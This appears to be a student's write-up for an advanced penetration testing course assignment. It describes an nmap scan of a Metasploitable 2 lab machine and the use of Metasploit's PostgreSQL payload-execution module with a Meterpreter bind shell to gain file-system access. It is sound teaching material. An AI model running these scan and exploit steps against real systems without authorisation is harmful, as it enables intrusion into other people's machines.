Jimmy Jouthe
MIS 5212.001 - Advanced Penetration Testing
Assignment 1: Executive Summary

Assignment 1: Executive Summary

Utilized a postgresql exploit from the Metasploit Framework to target a linux machine on a network running postgresql

LHOST 192.168.23.133 (Kali Linux 2016.2)
On the command prompt, I entered 'nmap -n -v- f -sS -sV -O RHOST' to scan for any services that may be running on the target machine, the following flags were used, respectively:

-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
-v: Increase verbosity level (use -vv or more for greater effect)
-f; --mtu <val>: fragment packets (optionally w/given MTU)
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sV: Probe open ports to determine service/version info
-O: Enable OS detection

Noticed that a postgresql:PostgreSql DB 8.3.0 - 8.37 service running on port 5432

Ran the Metasploit framework to run a separate terminal and ran the following commands at the command prompt:

- 'search postgres' from the command prompt to search for any exploits involving postgres
- 'use exploit/linux/postgres/postgres_payload' to use a PostgreSQL for Linux Payload Execution
- 'set payload linux/x86/meterpreter/bind_tcp' for a Linux Meterpreter, Bind tcp stager (Linux x86)

Set the following option(s) to run the exploit:
RHOST 192.168.38.128 (Metasploitable 2 Linux Machine)

Results
A session tcp connection was opened between the target machine and the local machine, I was then able to browse the entire file structure of the target machine using the meterpreter command prompt.